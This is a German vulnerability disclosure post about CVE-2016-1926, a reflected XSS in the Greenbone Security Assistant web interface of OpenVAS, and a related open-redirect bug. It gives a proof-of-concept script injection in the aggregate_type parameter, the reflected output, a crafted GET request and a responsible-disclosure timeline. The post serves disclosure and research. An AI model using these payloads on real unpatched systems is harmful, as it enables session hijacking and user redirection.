CVE-2016-1926 - XSS im Greenbone Security Assistant

Momentan beschäftigt sich Tim aus beruflichen Gründen mit dem Software-Framework “OpenVAS” (“Open Vulnerability Assessment System”). Da die Software Open-Source ist, haben wir einige Abende damit verbracht nach Sicherheitsücken in der dazugehörigen Webapplikation, dem Greenbone Security Assistant, zu suchen. Sebastian wurde nach einiger Zeit fündig und wir konnten die Lücken dem Hersteller gegenüber verantwortlich offenlegen - diese wurden bereits behoben.

Für alle die nicht wissen, worum es bei OpenVAS geht: OpenVAS ist eine Software zum Schwachstellen-Management. Konkret kann man mit dieser Software Penetrationstests gegen IT-Systeme vornehmen und die Ergebnisse entsprechend aus- und bewerten. OpenVAS wird unter anderem im Greenbone Security Manager verwendet und ist zudem in jedem Kali Linux integriert.

CVE-2016-1926: XSS

Beim Abruf der Statistiken wurde folgender AJAX-Request an das Backend geschickt:

1
https://[DOMAIN.tld]/omp?cmd=get_aggregate&xml=0&aggregate_type=nvt&group_column=severity&filt_id=1337&token=guest

Der Parameter aggregate_type wurde dabei nicht korrekt gesichert, sodass es im Script-Kontext zu einer einfachen XSS kam. Setzt man aggregate_type=nvt"-alert(document.domain)-", dann folgt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
        DataSource ("get_aggregate",
                    {xml:1,
                     aggregate_type:"nvt"-alert(document.domain)-"",
                     group_column:"severity",
                     data_column:"",
                     filter:"",
                     filt_id:"1337"});

    title_total ("Nvts"-alert(document.domain)-" by severity",
                 "count")

Chart (gsa.data_sources ["aggregate-source"],
        gsa.generators ["aggregate-generator"],
        gsa.displays ["aggregate-display"],
        "aggregate-chart",
        "Nvt"-alert(document.domain)-" by severity",
        "/img/charts/severity-bar-chart.png",
        1,
        "",
        "");

Leider benötigt man für einen erfolgreichen Angriff den Wert des Parameters token. Ist der Gastmodus aktiviert, wie z.B. in der Demo, so reicht es aus, token=guest zu setzen.

Weiterer, kleiner Bug

Der folgende Bug wurde im Laufe des Updates direkt mit behoben. Folgendes Verhalten konnte beobachtet werden:

1
2
3
GET //internetwache.org/? HTTP/1.1
Host: secinfo.greenbone.net
Connection: close

führte zu:

<a href="//internetwache.org/?r=1&amp;=&amp;token=guest">Login as a guest</a>

Alle Zeichen des Pfades im GET-Request wurden im href-Attribut wiedergegeben. Leider ist ein GET javascript:alert(1) nicht im Browser nachstellbar (ein führender Slash wird benötigt), sodass hier mit Glück im Unglück eine XSS verhindert werden konnte. Es bleibt die Möglichkeit per relativem Protokoll den Link zu manipulieren, sodass ein Benutzer beim Klick auf “Login als Gast” beliebig weitergeleitet werden kann.

Details

  • Produkt: Greenbone Security Assistant ≥ 6.0.0 and < 6.0.8
  • Hersteller: OpenVAS
  • Risiko: Niedrig, CVSS 1.9 (AV:A/AC:M/Au:M/C:P/I:N/A:N)
  • Bund-CERT Meldung

Die Kommunikation mit der Sicherheitsabteilung der Greenbone GmbH war sehr angenehm:

  • 07.01.2016: XSS entdeckt und Hersteller informiert.
  • 08.01.2016, 08:00: Bestätigung vom Hersteller und Aussage, dass bereits am Problem gearbeitet wird
  • 08.01.2016, 17:30: Fix bereits fertig, wird noch ausgiebig getestet.
  • 09.01.2016: Update für Greenbone Security Manager veröffentlicht: Advisory GBSA 2016-01
  • 13.01.2016: Update für OpenVAS veröffentlicht: Advisory OVSA 20160113
  • 18.01.2016: CVE-2016-1926 von MITRE zugewiesen

Das Team der Internetwache.org